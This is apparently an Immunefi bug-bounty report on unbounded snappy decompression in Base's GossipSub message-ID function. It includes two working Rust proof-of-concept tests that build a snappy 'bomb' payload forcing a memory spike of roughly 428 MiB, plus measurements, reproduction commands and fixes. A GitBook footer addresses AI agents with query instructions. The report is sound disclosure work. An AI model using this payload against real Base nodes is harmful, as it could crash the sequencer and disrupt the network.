> For the complete documentation index, see [llms.txt](https://reports.immunefi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://reports.immunefi.com/base/75485-bc-critical-unbounded-snappy-decompression-in-gossipsub-message-id-fn-causes-per-message-memor.md).

# 75485 bc critical unbounded snappy decompression in gossipsub message id fn causes per message memory spike of 428 mib before validation

**Submitted on Apr 29th 2026 at 12:26:55 UTC by @Outliers for** [**Audit Comp | Base Azul**](https://immunefi.com/audit-competition/audit-comp-base-azul)

* **Report ID:** #75485
* **Report Type:** Blockchain/DLT
* **Report severity:** Critical
* **Target:** <https://github.com/base/base/tree/v0.8.0-rc.28>
* **Impacts:**
  * Increasing network processing node resource consumption by at least 30% without brute force actions, compared to the preceding 24 hours

## Description

## Brief/Intro

The compute`_message_id` function in Base's Rust gossip layer performs unbounded snappy decompression on every received GossipSub message before any validation, rate limiting, or peer scoring can intervene. A single attacker-crafted 10 MiB wire message can force a transient peak memory allocation of approximately 428 MiB on the receiving node. With no fees, no staking, and free libp2p peer identities, an attacker can sustain this allocation pressure at scale — potentially OOM-killing the sequencer and halting block production on Base mainnet.

## Vulnerability Details

The vulnerability lives in `crates/consensus/gossip/src/config.rs`, in the `compute_message_id` function registered as GossipSub's `message_id_fn`:

```rust
fn compute_message_id(msg: &Message) -> MessageId {
    let mut decoder = Decoder::new();
    let id = decoder.decompress_vec(&msg.data).map_or_else(
        |_| {
            let domain_invalid_snappy: Vec<u8> = vec![0x0, 0x0, 0x0, 0x0];
            sha256([domain_invalid_snappy.as_slice(), msg.data.as_slice()].concat().as_slice())
                [..20].to_vec()
        },
        |data| {
            let domain_valid_snappy: Vec<u8> = vec![0x1, 0x0, 0x0, 0x0];
            sha256([domain_valid_snappy.as_slice(), data.as_slice()].concat().as_slice())[..20]
                .to_vec()
        },
    );
    MessageId(id)
}
```

This function is invoked by libp2p-gossipsub for every received message as part of duplicate detection — before any application validation, peer scoring, or throttling can run. The execution order is fixed by libp2p:

1. Wire bytes received from peer
2. max\_transmit\_size check (10 MiB cap on compressed wire size)
3. message\_id\_fn invoked — allocations occur here
4. LRU dedup cache lookup
5. Application validation and peer scoring
6. Forwarding to mesh peers

Steps 5–6 cannot prevent Step 3. The commonly cited mitigations (`MAX_VALIDATE_QUEUE`, `GLOBAL_VALIDATE_THROTTLE`, `ConnectionGater`) all operate after `message_id_fn` returns.

## Two unbounded allocations per call

**Allocation A — decompression**. `decompress_vec` in snap-1.1.1 allocates a buffer sized from the snappy varint header verbatim, before any decompression occurs:

```rust
pub fn decompress_vec(&mut self, input: &[u8]) -> Result<Vec<u8>> {
    let mut buf = vec![0; decompress_len(input)?]; // attacker-controlled
    let n = self.decompress(input, &mut buf)?;
    buf.truncate(n);
    Ok(buf)
}
```

`decompress_len` reads the declared output size from the header without any application-level cap. snap's internal ceiling is 2^32 - 1 (\~4 GiB) — not a defense, that is the attacker's upper bound per message. Within the 10 MiB wire limit, snappy's encoding allows up to \~213 MiB of decompressed output using 3-byte copy tags that each expand to up to 64 bytes of output (\~21× amplification per tag).

**Allocation B — concatenation**. \[`domain, data].concat()` allocates and copies the entire decompressed buffer a second time before SHA-256 hashes it. Both buffers coexist in memory while SHA-256 runs, doubling the peak commit to \~2× the decompressed size.

Critically, the decompression buffer allocation in `decompress_vec` happens before any decompression error can be returned. Even a malformed "bomb" that would fail decompression still triggers the initial `vec![0; decompress_len(input)?]` allocation. The attack does not require a decompression error.

## Why `MAX_GOSSIP_SIZE` doesn't help

`max_transmit_size(MAX_GOSSIP_SIZE)` bounds the compressed wire size. The snappy varint header is free to declare a decompressed size up to 2^32 - 1 regardless of the wire payload's actual size. A fully wire-conformant 9 MiB payload can declare and force a 213 MiB decompressed output.

## Regression from op-node

In op-node (Go), gossip messages are decompressed via a `snappy.Reader` bounded by `maxGossipSize`. The Base Rust port uses `decompress_vec` with no such bound — the bounded-decompression invariant was lost in the port.

## Impact Details

**Measured numbers**

**Direct decompression (snap-1.1.1):**

* Wire payload: \~9 MiB (within `MAX_GOSSIP_SIZE`)
* Declared output size: \~213 MiB
* `VmRSS` growth: \~213 MiB
* Amplification: 21.3× wire-to-decompressed

**Through `compute_message_id` (production code path):**

* Wire payload: \~9 MiB
* `VmHWM` (peak resident) growth: \~428 MiB
* Amplification: \~42× wire-to-peak-RSS

`VmHWM` is the correct metric here — both buffers are dropped before `compute_message_id` returns, so post-call VmRSS (\~2 MiB) is misleading. The attack is rate-based: the transient 428 MiB spike repeats for every received message, and concurrent libp2p receive tasks stack these spikes multiplicatively.

**Severity mapping**

* **High — network processing node resource breach**: A single message forces \~428 MiB peak commit. Under concurrent message processing (libp2p mesh fanout of D=6–12 peers per publish), N simultaneous calls force N × 428 MiB allocation — well beyond any reasonable process memory budget.
* **High — sequencer downtime**: Base uses a centralized sequencer. An OOM-killed sequencer requires process restart, mesh re-formation, peer re-discovery, and L1 attribute resync — each independently taking several seconds. A single successful OOM event exceeds 5× the 2-second target block time, satisfying the program's High threshold. Sustained attack keeps the sequencer down for as long as the attacker maintains message throughput.
* **Economic asymmetry**: Attacker cost is \~10 MiB outbound bandwidth plus a free self-generated libp2p keypair (no fees, no stake, no rate limit on publish). Victim cost is \~428 MiB peak memory plus CPU for SHA-256 over 213 MiB. With GossipSub mesh fanout, one published message hits multiple mesh neighbors simultaneously. A sybil cluster of \~10 peers (cost: zero) provides full mesh coverage of a small validator set and can sustain GiB/s allocation pressure on each victim node for MiB/s attacker bandwidth.

## Recommended fixes

1. Pre-flight length check — read the snappy header without allocating, and reject if the declared size exceeds MAX\_GOSSIP\_SIZE before calling decompress\_vec.
2. Eliminate the .concat() doubling — replace `[domain, data].concat()` with sequential SHA-256 updates (`Sha256::new().update(domain).update(data).finalize()`), reducing peak commit from \~2× to 1× the decompressed size.
3. (Optional) fast\_message\_id\_fn — set a cheap hash of the compressed bytes as the fast dedup key, avoiding decompression entirely on duplicate messages.

With fixes 1 and 2 applied, the per-message peak commit drops from \~428 MiB to at most MAX\_GOSSIP\_SIZE (10 MiB).

## Proof of Concept

Two test cases added to `crates/consensus/gossip/src/config.rs`. Both pass against the live codebase at v0.8.0-rc.28.

### POC 1 — wire-format primitive

```rust
#[test]
fn high_ratio_snappy_bomb_forces_real_rss() {
    fn varint(mut n: u64) -> Vec<u8> {
        let mut out = Vec::new();
        while n >= 0x80 { out.push((n as u8) | 0x80); n >>= 7; }
        out.push(n as u8);
        out
    }
    fn vm_kb(field: &str) -> u64 {
        std::fs::read_to_string("/proc/self/status").unwrap()
            .lines().find(|l| l.starts_with(field))
            .and_then(|l| l.split_whitespace().nth(1))
            .and_then(|n| n.parse().ok()).unwrap_or(0)
    }

    // Maximum output achievable within MAX_GOSSIP_SIZE (10 MiB) wire cap.
    let wire_budget = MAX_GOSSIP_SIZE - 100;
    let max_copies = (wire_budget - 66) / 3;
    let target_output: u64 = 64 + 64 * max_copies as u64;

    let mut payload = Vec::new();
    payload.extend_from_slice(&varint(target_output));
    // 64-byte literal seed: tag 0xF0, length byte 63, then 64 'A' bytes.
    payload.push(0xF0);
    payload.push(63);
    payload.extend_from_slice(&[0x41u8; 64]);
    // 2-byte-offset copy: length 64, offset 64. Tag = (63 << 2) | 0b10 = 0xFE.
    let copy_tag: [u8; 3] = [0xFE, 0x40, 0x00];
    payload.reserve(max_copies * 3);
    for _ in 0..max_copies {
        payload.extend_from_slice(&copy_tag);
    }

    assert!(payload.len() <= MAX_GOSSIP_SIZE);
    let declared = snap::raw::decompress_len(&payload).unwrap();
    assert_eq!(declared as u64, target_output);

    let rss_before = vm_kb("VmRSS:");
    let mut decoder = snap::raw::Decoder::new();
    let result = decoder.decompress_vec(&payload);
    let rss_peak = vm_kb("VmRSS:");

    println!("Wire: {} bytes; Declared: {} bytes; RSS growth: {} KB",
             payload.len(), target_output, rss_peak - rss_before);
    assert!(result.is_ok());
    assert_eq!(result.as_ref().unwrap().len() as u64, target_output);
}
```

**Output:**

```
Wire payload size:      10485664 bytes (~9 MiB)
Declared output size:   223692736 bytes (~213 MiB)
Wire under limit?:      true
decompress_vec result:  Ok, 223692736 bytes
VmRSS growth:           218624 KB (~213 MiB)
Amplification:          21.3x
```

### POC 2 — production code path

```rust
#[test]
    fn compute_message_id_path_allocates_real_rss() {
        fn varint(mut n: u64) -> Vec<u8> {
            let mut out = Vec::new();
            while n >= 0x80 { out.push((n as u8) | 0x80); n >>= 7; }
            out.push(n as u8);
            out
        }
        fn vm_kb(field: &str) -> u64 {
            std::fs::read_to_string("/proc/self/status").unwrap()
                .lines().find(|l| l.starts_with(field))
                .and_then(|l| l.split_whitespace().nth(1))
                .and_then(|n| n.parse().ok()).unwrap_or(0)
        }

        let wire_budget = MAX_GOSSIP_SIZE - 100;
        let max_copies = (wire_budget - 66) / 3;
        let target_output: u64 = 64 + 64 * max_copies as u64;

        let mut payload = Vec::new();
        payload.extend_from_slice(&varint(target_output));
        payload.push(0xF0);
        payload.push(63);
        payload.extend_from_slice(&[0x41u8; 64]);
        let copy_tag: [u8; 3] = [0xFE, 0x40, 0x00];
        payload.reserve(max_copies * 3);
        for _ in 0..max_copies {
            payload.extend_from_slice(&copy_tag);
        }

        // Match the existing test_compute_message_id_valid_snappy construction exactly.
        let msg = Message {
            source: None,
            data: payload.clone(),
            sequence_number: None,
            topic: libp2p::gossipsub::TopicHash::from_raw("test"),
        };

        println!("=== compute_message_id INVOCATION ===");
        println!("Wire payload size:      {} bytes (~{} MiB)",
                payload.len(), payload.len() / 1024 / 1024);
        println!("Declared output size:   {} bytes (~{} MiB)",
                target_output, target_output / 1024 / 1024);

        // VmHWM = peak resident set size since process start. Monotonic, captures
        // the allocation even though compute_message_id drops the buffer before returning.
        let hwm_before = vm_kb("VmHWM:");
        let rss_before = vm_kb("VmRSS:");

        let _id = compute_message_id(&msg);

        let hwm_after = vm_kb("VmHWM:");
        let rss_after = vm_kb("VmRSS:");

        println!("--- Results ---");
        println!("VmHWM before call:      {} KB", hwm_before);
        println!("VmHWM after call:       {} KB", hwm_after);
        println!("VmHWM growth (peak):    {} KB (~{} MiB)",
                hwm_after.saturating_sub(hwm_before),
                hwm_after.saturating_sub(hwm_before) / 1024);
        println!("VmRSS before:           {} KB", rss_before);
        println!("VmRSS after:            {} KB", rss_after);
        println!("VmRSS growth (now):     {} KB  <-- buffer dropped before measurement",
                rss_after.saturating_sub(rss_before));
        println!();
        println!("Note: VmHWM captures the true peak. VmRSS post-call is misleading");
        println!("because compute_message_id frees the buffer before returning.");
        println!("In production: every received message triggers this peak allocation");
        println!("inside libp2p-gossipsub's receive path, before any validation.");

        assert!(hwm_after > hwm_before + 150_000,
            "expected HWM growth >150MB through compute_message_id, got {}KB",
            hwm_after.saturating_sub(hwm_before));
    }
```

**Output:**

```
Wire payload size:      10485664 bytes (~9 MiB)
Declared output size:   223692736 bytes (~213 MiB)
VmHWM growth (peak):    439040 KB (~428 MiB)
```

VmHWM (peak resident set size, monotonic) is used because both allocations are released before `compute_message_id` returns. Post-call `VmRSS` shows only \~2 MiB growth and would understate the true allocation.

### Reproducing

```bash
cargo test -p base-consensus-gossip high_ratio_snappy_bomb_forces_real_rss -- --nocapture
cargo test -p base-consensus-gossip compute_message_id_path_allocates_real_rss -- --nocapture
```

Both tests pass on Linux x86\_64 against snap-1.1.1 (confirmed via Cargo.lock) and base-consensus-gossip v0.8.0-rc.28.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://reports.immunefi.com/base/75485-bc-critical-unbounded-snappy-decompression-in-gossipsub-message-id-fn-causes-per-message-memor.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
